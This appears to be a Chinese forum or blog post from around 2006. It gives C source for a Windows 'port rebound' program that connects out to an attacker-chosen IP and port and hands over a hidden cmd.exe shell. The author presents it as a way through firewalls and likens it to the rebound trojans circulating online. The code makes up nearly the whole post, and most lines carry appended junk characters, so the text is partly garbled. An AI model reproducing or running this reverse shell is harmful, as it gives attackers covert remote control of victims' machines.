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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Z0eBx  
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/* ============================== )$B+ 3f  
Rebound port in Windows NT !B lk=L+p  
By wind,2006/7 o# xg:m_py  
===============================*/ = Y-Ne6a  
#include ?@?a}  
#include 0f%:OU5Y  
;_/q>DR>,3  
#pragma comment(lib,"wsock32.lib") 8 %j{4$  
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void OutputShell(); Qc;[mxQe  
SOCKET sClient; `4H9f&8(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A_Iu*pz^^  
9S%gVNxn  
void main(int argc,char **argv) Mlw9#H6  
{ <aaDW  
WSADATA stWsaData; mRH]'d lD7  
int nRet; WKl'  
SOCKADDR_IN stSaiClient,stSaiServer; kqW<e[  
6b70w @P!  
if(argc != 3) huJq#5?  
{ lK,=`xe  
printf("Useage:\n\rRebound DestIP DestPort\n"); %hbLT{w  
return; ,/6:bc:W  
} (?BgT i\  
p@Y$eZ:O  
WSAStartup(MAKEWORD(2,2),&stWsaData); &}0wzcMg  
TucAs 0-bF  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8Wx@[!  
Om2X>/V%C  
stSaiClient.sin_family = AF_INET; _P<lG[V  
stSaiClient.sin_port = htons(0); KWJgW{{v  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (oitCIV  
G>,nZ/,A{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2nU NI U  
{ iW@Vw{|i I  
printf("Bind Socket Failed!\n"); 1m`tqlFU9  
return; lF8 dRIav  
} o,Zng4NY  
i!W8Q$V  
stSaiServer.sin_family = AF_INET; ]cqZ!4?_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); z|]oM#Gt  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~}IvY?! ;  
SxZ^ "\H  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %<C G|]W  
{ F|Dz]ar  
printf("Connect Error!"); DIqT>HHZ  
return; pOVghllO  
} zrU$SWU  
OutputShell(); .Spi$>v  
} QHzX 5$IM  
xbrmPGpW$  
void OutputShell() StZRc\k  
{ X;6r $   
char szBuff[1024]; to!W={S<ol  
SECURITY_ATTRIBUTES stSecurityAttributes; BgWz<k}5M  
OSVERSIONINFO stOsversionInfo; e#6&uFce  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5uV"g5?w  
STARTUPINFO stStartupInfo; $',GkK{NX  
char *szShell; X c2B2c  
PROCESS_INFORMATION stProcessInformation; !^l4EL5#  
unsigned long lBytesRead; g<iwxF  
03QEXm~|Q  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #1't"R+3M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "26B4*  
stSecurityAttributes.lpSecurityDescriptor = 0; @CaD8%j{  
stSecurityAttributes.bInheritHandle = TRUE; OgXZ-<'  
oA;jy  
H@2v<e@  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %V%#y $l  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k~jKJb-_  
+/3 Z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /y](mu"!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6PJJ?}P^1  
stStartupInfo.wShowWindow = SW_HIDE; "_1-IE  
stStartupInfo.hStdInput = hReadPipe; )qyx|D  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; f1Yv hvWL  
1V**QSZ1  
GetVersionEx(&stOsversionInfo); }&(E#*>x  
h#@4@x{  
switch(stOsversionInfo.dwPlatformId) :%uyy5AZ  
{ fa4951_  
case 1: => uVp  
szShell = "command.com"; ~t${=o430  
break; }r~v,KDb  
default: ll(e,9.D  
szShell = "cmd.exe";  mF*?e/  
break; /h7>Z9T  
} 6t_ 3%{  
DYAwQ"i;6  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Pv7f _hw  
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send(sClient,szMsg,77,0); KO-Zz&2f  
while(1) z[5Y Z~}*  
{ [/AdeR  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); k,;lyE  
if(lBytesRead) Pu$kj"|q*[  
{ *CH!<VB/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5y(t`Fmt  
send(sClient,szBuff,lBytesRead,0); d(X\B{  
} K#l  -?  
else 5DkK'tCI9Z  
{ )4!CR/ao  
lBytesRead=recv(sClient,szBuff,1024,0); 0H OoKh  
if(lBytesRead<=0) break; Ko$ $dkSE  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *h*j%  
} C,|nmlDN  
} yhSk"e'G  
-[zdX}x.:  
return; c YM CfP  
}
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